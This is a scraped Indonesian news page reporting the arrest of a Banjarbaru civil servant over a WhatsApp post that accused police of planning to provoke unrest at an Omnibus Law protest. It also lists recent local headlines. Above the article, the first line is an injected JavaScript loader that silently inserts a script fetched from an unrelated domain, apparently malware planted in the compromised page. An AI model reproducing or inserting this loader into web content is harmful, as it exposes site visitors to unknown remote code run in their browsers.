(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: HEADLINE

BREAKING NEWS. ASN Pemko Banjarbaru Ditangkap di Kantor


KANALKALIMANTAN.COM, BANJARBARU – Seorang ASN (Aparatur Sipil Negara) di lingkungan Pemerintah Kota (Pemko) Banjarbaru berinisial FM (46) diamankan pihak kepolisian. FM ditangkap karena diduga menyebarkan kabar bohong alias hoaks tentang aksi demonstrasi Undang-Undang Cipta Kerja yang berlangsung di Banjarmasin.

Menurut informasi yang diterima Kanalkalimantan, FH menuliskan kabar hoaks itu melalui status via WhatsApp, Kamis (15/10/2020) pagi. Dalam postingannya, ia menuliskan bahwa aksi demonstrasi yang berlangsung di Banjarmasin, akan rusuh jika dikawal oleh pihak kepolisian.

“Demo hari ini di bjm akan damai ketika dikawal TNI namun sebaliknya jika POLRI maka akan rusuh,” begitu tulisnya.

Bahkan, dalam postingan itu, FH juga menyebut bahwa dalam aksi massa demonstrasi akan disusupi oleh pihak intel kepolisian, yang membuat terjadinya kerusuhan.

“kpd adek2ku dan kwn2 sekalian yg demo ht ht penyusup dr intel berpakaian almamater krn td tmpk terlihat dr polda ada bbrp intel yg membawa almamater patut d duga ini provokasi yg dilakukan oleh mereka utk rusuh” lanjut tulisnya.

Atas postingannya tersebut, FH harus berurusan dengan pihak kepolisian. Unit Resmob Polres Banjarbaru melakukan penyelidikan mengenai laporan tersebut dan langsung mengamankan FH di kantor Badan Pengelolaan Pajak dan Retribusi Daerah (BP2RD) Kota Banjarbaru.

Kassubag Humas Polres Banjarbaru, Iptu Tajuddin Noor, membenarkan penangkapan terhadap FH. Ia juga mengungkapkan bahwa FH saat ini tengah dalam pemeriksaan.

“Benar, sudah kita amankan. Postingan FH itu dapat mengakibatkan kegaduhan dan merupakan tuduhan secara serius terhadap instansi Polri khususnya Polda Kalsel yang menyatakan bahwa Polri adalah sebagai provokator. Berdasarkan hal tersebut kemudian dilaporkan ke Polres Banjarbaru untuk diproses lebih lanjut secara hukum,” tuturnya. (kanalkalimantan.com/rico)

 

Reporter: Rico
Editor : Bie


Desy Arfianty

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.